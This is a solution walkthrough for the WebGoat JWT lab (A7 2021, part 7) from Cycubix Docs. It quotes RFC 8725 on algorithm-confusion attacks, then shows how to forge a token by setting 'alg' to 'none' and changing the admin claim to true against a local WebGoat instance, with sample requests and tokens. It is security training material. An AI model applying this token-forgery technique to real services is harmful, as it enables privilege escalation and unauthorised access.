A7: 2021 | JWT Tokens (7) | Cycubix Docs

Solution

The idea behind this assignment is that you can manipulate the token which might cause the server to interpret the token differently. In the beginning when JWT libraries appeared they implemented the specification to the letter meaning that the library took the algorithm specified inside the header and tried to work with it.

Signed JSON Web Tokens carry an explicit indication of the signing algorithm, in the form of the "alg" Header Parameter, to facilitate cryptographic agility. This, in conjunction with design flaws in some libraries and applications, has led to several attacks:

• The algorithm can be changed to "none" by an attacker, and some libraries would trust this value and "validate" the JWT without checking any signature.

• An "RS256" (RSA, 2048 bit) parameter value can be changed into "HS256" (HMAC, SHA-256), and some libraries would try to validate the signature using HMAC-SHA256 and using the RSA public key as the HMAC shared secret (see [McLean] and [CVE-2015-9235]).

For mitigations, see Sections 3.1 and 3.2.

— https://tools.ietf.org/html/rfc8725#section-2.1

What basically happened was that libraries just parsed the token as it was given to them without validating what cryptographic operation was used during the creation of the token.

Solution

First note that we are logged in as Guest so first select a different user for example: Tom. User Tom is allowed to vote as you can see, but he is unable to reset the votes. Looking at the request this will return an access_token in the response:

GET http://localhost:8080/WebGoat/JWT/votings/login?user=Tom HTTP/1.1

access_token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE2MDgxMjg1NjYsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.rTSX6PSXqUoGUvQQDBiqX0re2BSt7s2-X6FPf34Qly9SMpqIUSP8jykedJbjOBNlM3_CTjgk1SvUv48Pz8zIzA

Decoding the token gives:

{
  "alg": "HS512"
}
{
  "iat": 1608128566,
  "admin": "false",
  "user": "Tom"
}

We can change the admin claim to false but then signature will become invalid. How do we end up with a valid signature? Looking at the RFC specification alg: none is a valid choice and gives an unsecured JWT. Let’s change our token:

headers:

{
  "alg": "none"
}

claims:

{
  "iat": 1608128566,
  "admin": "true",
  "user": "Tom"
}

If we use WebWolf to create our token we get:

eyJhbGciOiJub25lIn0.ew0KICAiYWRtaW4iIDogInRydWUiLA0KICAiaWF0IiA6IDE2MDgxMjg1NjYsDQogICJ1c2VyIiA6ICJUb20iDQp9

Now we can replace the token in the cookie and perform the reset again. One thing to watch out for is to add a . at the end otherwise the token is not valid.

References

For more information take a look at the following video:\